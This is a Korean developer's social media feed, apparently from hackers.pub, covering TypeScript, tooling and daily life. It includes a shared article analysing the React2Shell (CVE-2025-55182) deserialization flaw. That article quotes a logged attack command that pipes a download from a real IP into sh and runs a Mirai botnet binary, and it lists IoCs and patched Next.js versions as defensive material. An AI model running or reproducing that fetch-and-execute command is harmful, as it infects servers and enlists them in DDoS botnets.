🪟 "내 코파일럿 키를 어떻게 한 거냐!"
☘️ "코파일럿 키? 아아, 「이것」 말인가?"
🪟 "키사마아아아아아아----------!!!!!!!!!"
@yg1ee@hackers.pub · 18 following · 13 followers
프론트엔드 개발자
트위터(현 명칭 X)에서 graceful 이주를 하고 싶지만, 현실적으론 병행할 듯합니다.
🪟 "내 코파일럿 키를 어떻게 한 거냐!"
☘️ "코파일럿 키? 아아, 「이것」 말인가?"
🪟 "키사마아아아아아아----------!!!!!!!!!"
인덱스 시그니처도 "남용"되고 타입 안정성을 깨뜨릴 수 있구나..
타입스크립트의 길은 멀고도 험하다
해피머니 상품권 운영사인 해피머니아이엔씨가 낸 청산형 회생계획안을 법원이 인가했습니다. 해피머니 서비스는 오는 2월9일 서비스가 종료됩니다.
법원, ‘티메프 여파’ 해피머니 청산형 회생계획 인가…...
얼마 전에, 여태 해오던 코드 작성 방식이, 다행히도 여태까지는 문제가 없었지만, 잠재적으로 문제가 될 수 있다는 사실을 알았다.
그게 문제라는 걸 알고 나서 '설마? 여태 잘 썼는데..' 하며 공식 문서를 읽어봤다.
당연히도 공식 문서에는 극히 일부만 써있었고, 해당 패턴에서 확장되어 작성된 곳은 없었다.
시간은 흘러가고, AI는 점점 "혁신적"이며 "개발자를 대체할 정도"가 되어 가는데,
나는 기존 코드가 잘못됐다는 걸 깨닫고 있다니.. 직춘기 같은 건가?
그동안은 배우는 게 재밌고, 또 그걸 활용해서 일을 하는 게 뿌듯했는데 새삼 황당하다.
얼마 전에, 여태 해오던 코드 작성 방식이, 다행히도 여태까지는 문제가 없었지만, 잠재적으로 문제가 될 수 있다는 사실을 알았다.
그게 문제라는 걸 알고 나서 '설마? 여태 잘 썼는데..' 하며 공식 문서를 읽어봤다.
당연히도 공식 문서에는 극히 일부만 써있었고, 해당 패턴에서 확장되어 작성된 곳은 없었다.
트위터 하도 오랜만에 들어가니까 뭔가 문제가 있는데
트위터가 문제인지 아니면 내 계정이 정지당한 거인지 모르겠음
다행히(?) 트위터가 잠깐 터진 거였다
We are joining Cloudflare! https://astro.build/blog/joining-cloudflare/
트위터 하도 오랜만에 들어가니까 뭔가 문제가 있는데
트위터가 문제인지 아니면 내 계정이 정지당한 거인지 모르겠음
TypeScript 7이라는 이름으로 나올 예정이고, 아직은 프리뷰 단계인 듯
엥 그러고보니 이건 어떻게 된 거지?
요즘 점점 타입스크립트가 느려지고 있어서 필요한 참인데
10배 더 빠른 TypeScript https://news.hada.io/topic?id=19695
엥 그러고보니 이건 어떻게 된 거지?
요즘 점점 타입스크립트가 느려지고 있어서 필요한 참인데
10배 더 빠른 TypeScript https://news.hada.io/topic?id=19695
밀 shared the below article:
고남현 @gnh1201@hackers.pub
외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.
이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.
특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.
특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.
자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.
실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.
이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.
역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.
| 언어 / 생태계 | 역직렬화 취약점 사례 | 주요 공통점 |
|---|---|---|
| Java | CVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind) | 외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생 |
| .NET (C# / VB.NET) | CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase) | BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행 |
| Python | CVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS) | pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거 |
| PHP (WP) | CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress) | unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생 |
| Ruby | CVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal) | YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행 |
| JavaScript / Node.js | CVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript) | 구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석 |
| Go | CVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul) | Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS |
| Rust | GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687) | 메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험 |
| Kotlin / Android | CVE-2024-43080 (Android) / CVE-2024-10382 (Android Car) | Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS |
| C / C++ | CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf) | Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족 |
| Swift / iOS | CVE-2021-32742 (Vapor) | 외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출 |
| 산업용 (ICS/OT) | CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC) | 프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능 |
역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.
역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.
여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.
여기서 알 수 있는 정보는 다음과 같다.
__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다._response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.
(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
cd /dev; \
busybox wget http://31.56.27.76/n2/x86; \
chmod 777 x86; \
./x86 reactOnMynuts)
이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.
그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.
(그래 너 나쁜거 알았으니 그만 알아보자)
관련 IoC 는 다음과 같다.
3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)http://193.34.213.150/nuts/bolts (URL)http://31.56.27.76/n2/x86 (URL)범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.
추가 분석은 아래 링크에서 확인할 수 있다.
Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.
| Vulnerable version | Patched release |
|---|---|
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.10 |
| Next.js 14 canaries after 14.3.0-canary.76 | Downgrade to 14.3.0-canary.76 (not vulnerable) |
| Next.js 15 canaries before 15.6.0-canary.58 | 15.6.0-canary.58 |
| Next.js 16 canaries before 16.1.0-canary.12 | 16.1.0-canary.12 and after |
혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.
Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.
Android Quick Share랑 iOS AirDrop이랑 호환이 된다고?!
https://twitter.com/Android/status/1991552333063524573
으윽 9호선은 왜이리 항상 공기가 안 좋고
술냄새가 나는가
밀 shared the below article:
조내일 @tomorrowcho@hackers.pub
맥북에서 윈도우 키보드의 오른쪽 Alt 키를 한/영 전환 키로 사용하기 위한 설정 과정을 소개합니다. macOS 기본 설정으로는 왼쪽과 오른쪽 Option 키를 개별적으로 제어할 수 없어 Karabiner-Elements를 사용한 사용자 정의 키 매핑이 필요합니다. Karabiner 설치 후, Simple Modifications을 통해 right_option 키를 F18로 매핑하고, macOS 키보드 단축키 설정에서 '입력 소스 선택'을 F18로 지정해야 합니다. 만약 F18 키가 제대로 등록되지 않는다면, Karabiner의 드라이버 확장 프로그램 권한이 허용되었는지, 그리고 Devices 탭에서 외부 키보드의 'Ignore vendor events' 옵션이 활성화되었는지 확인해야 합니다. 이 설정을 통해 윈도우 환경에 익숙한 사용자도 맥에서 편리하게 키보드를 사용할 수 있습니다.
Read more →이거 생각보다 큰 건 같은데...
한국 오픈소스 판 다 조지는 꼬라지 아닌가
git push에 --force 옵션 말고 --force-with-lease라는 게 있네?
"안전한" "force 푸시" 뭔가 양립할 수 없는 말 같지만 그런 게 있나봄
https://leerowoon.dev/posts/git-push-force-with-lease
얼마전에 로컬호스트 접속을 막는걸 기본값으로 하는 크로미움 업데이트 때문에 K-보안이 울상이라고 그러더군...
그런데 사실 K-보안말고는 문제가 없는게, localhost를 사용하는걸 "안들키고 싶어서 숨기는 경우"에만 차단한다는거지 localhost를 아예 차단한다고 한 적은 없음.
어차피 localhost로만 실질적인 작업이 가능한 앱이라면, 메인 주소도 localhost가 되면 아무런 문제가 없겠지만 그걸 꾸역꾸역 정상적인 인터넷 앱인 것처럼 위장하는게 문제임.
ffmpeg을 이용해서 m3u8로 오는 HLS 스트림을 다운 받는 방법
ffmpeg -i "http://host/folder/file.m3u8" -c copy file.mp4
출처: https://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d
NPM에 8만6천 회 이상 다운로드된 악성 패키지 대량 유포
------------------------------
- NPM 저장소에서 *100개 이상 자격 증명 탈취용 악성 패키지* 가 8월 이후 탐지되지 않은 채 업로드되어, 총 8만6천 회 이상 다운로드된 사실이 확인됨
- 보안업체 Koi 는 ‘PhantomRaven ’으로 명명한 공격 캠페인이 NPM의 *Remote Dynamic Dependencies(RDD)* 기능을 악용해 126개의 악성 패키지를 배포했…
------------------------------
https://news.hada.io/topic?id=24053&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
사라 코너처럼 둔둔한 등근육. 💪🏻
할로윈 장식이 너무 두려워서 울면서 도망쳐나왔습니다...
구글이 안드로이드의
사이드로딩을 막으려합니다.
반대 청원에 참여해주세요.
어쩌다 폴드7을 사게 돼서 써보고 있는데 이전 폴드들은 외부 화면으로 간단하게 사용은 가능하다 정도였는데 이거는 외부 화면으로도 실사용이 가능하다가 돼버렸네.. 접은 화면이 어지간한 바형 스마트폰이랑 크기가 비슷할 정도임
Next.js 쓰기 싫어서 tanstack router 공부 중인데 여태 쓰던 프레임워크들이랑 느낌이 너무 달라서 취준하던 때로 돌아간 느낌.
답답하면서도 묘하게 재밌기도 하고. 생소하다.
그런데 아직 버전 0 RC이고 상용으로 쓸 물건은 아닌 거 같은데,
headscale도 그렇고 나는 왜 이리 개발 단계거나 오픈소스 구현체를 좋아하는 것인가
Next.js 쓰기 싫어서 tanstack router 공부 중인데 여태 쓰던 프레임워크들이랑 느낌이 너무 달라서 취준하던 때로 돌아간 느낌.
답답하면서도 묘하게 재밌기도 하고. 생소하다.
우리 팀에서 쓰는 설정이 많아서 biome으로 옮기는 게 현재로선 불가능하구나 😥 아쉽다
오 근데 biome이 잡아주는 경고들 보니까 장황하던 코드들 많이 바로잡을 수 있을 듯! 이건 좋다
eslint에서 쓰던 걸 어떻게 가지고 오느냐도 숙제군
우리 팀에서 쓰는 설정이 많아서 biome으로 옮기는 게 현재로선 불가능하구나 😥 아쉽다
오늘 드디어 biome을 처음 써봄
설정한 게 많지 않아서 그럴 수도 있지만
엄청나게 빨라서 좋았다
eslint에서 쓰던 걸 어떻게 가지고 오느냐도 숙제군
오늘 드디어 biome을 처음 써봄
설정한 게 많지 않아서 그럴 수도 있지만
엄청나게 빨라서 좋았다
레딧도 영향 받았나보네
나는 이거로 해결이 됐는데, 단순히 powershell에서 wsl --update를 실행한 후에 Code를 다시 실행하면 정상적으로 사용이 가능했음
Win 10, WSL2 (Ubuntu 24, Debian 둘 다 발생)에 VS Code를 연결해서 쓰는 환경.
요즘 뭐가 원인인지 VS Code 확장 목록 불러오기 무한루프가 발생함
검색해보다가 원인을 못 찾겠어서 코파일럿한테 물어보니 여러 가지 해결책을 제시함
나는 이거로 해결이 됐는데, 단순히 powershell에서 wsl --update를 실행한 후에 Code를 다시 실행하면 정상적으로 사용이 가능했음
요즘 뭐가 원인인지 VS Code 확장 목록 불러오기 무한루프가 발생함
검색해보다가 원인을 못 찾겠어서 코파일럿한테 물어보니 여러 가지 해결책을 제시함
아 비밀번호 길이 제한 너무 편안하다
삼성닷컴 로그인 화면 캐릭터 좀 징그러운데
블스 CEO가 정신상태 나락 가버려서 사용자들한테 "니들 돈이라도 한 푼 냈음?" 시전...
여러분 정신상태가 안 좋으면 SNS 부터 끄세요
tailscale에서
Warning: UDP GRO forwarding is suboptimally configured on ens34,
UDP forwarding throughput capability will increase with a configuration change.
See https://tailscale.com/s/ethtool-config-udp-gro
가 뜰 때 해결법
맨 아래의 링크로 들어가서, 코드 블럭 3개에 있는 스크립트들을
차례대로 복사 & 붙여넣기 밑 실행하여 An error occurred.가 안 뜨는지 확인.
시그널 앱 카톡 대안으로 좋아보임
대화 백업 기능이 베타지만 존재하는 게 불안하지만(?)
딱 메신저 본연의 기능을 하는 느낌
단점: 사용자가 없음
적다는 게 아니라 그냥 없음
연락처 기반 친구가 딱 한 명 뜸
소통할 때 쓰는 게 메신저인데
소통할 사람이 없음
🫠
시그널 앱 카톡 대안으로 좋아보임
대화 백업 기능이 베타지만 존재하는 게 불안하지만(?)
딱 메신저 본연의 기능을 하는 느낌
아니 peak 할인하길래 스팀에서 샀는데 내가 1.16 립버전을 받았나? 왜이래
아 폴란드어였어 이거??
근데 애초에 왜 폴란드어로 설정돼있던 거야!
아니 peak 할인하길래 스팀에서 샀는데 내가 1.16 립버전을 받았나? 왜이래
수내 왔는데 이런 식의 보도블럭이 있어서 뭐가 자전거도로일까 혼란스러워하며 걸었음
내일 아이폰 구경하러 애플스토어 가봐야겠다 신제품 때문에 사람 많겠네
@yg1ee밀 폰트가 굉장히 익숙하네요
@kodingwarriorJaeyeol Lee zzㅋㅋㅋㅋㅋ 이번에 완전히 팬 돼서 스마트폰 폰트로 설정햇읍니다
회식하고 나서 팀원들에게 진심을 담아 꼭 하는 말
이제 자바 메인을 이렇게 써도 된다니 놀랍군요
void main() {
var name = IO.readln("What is your name? ");
IO.println("Hello, " + name);
}
@yg1ee밀 앗... 2회차도 갈 예정인데 다음에 또 오시면 인사하고 이야기도 많이 해요!
@jakeseo 감사합니다. 세션 되게 생소한 영역이라 신선하고 재밌게 잘 들었어요. 다음 번엔 꼭 인사드리겠습니다. 🙋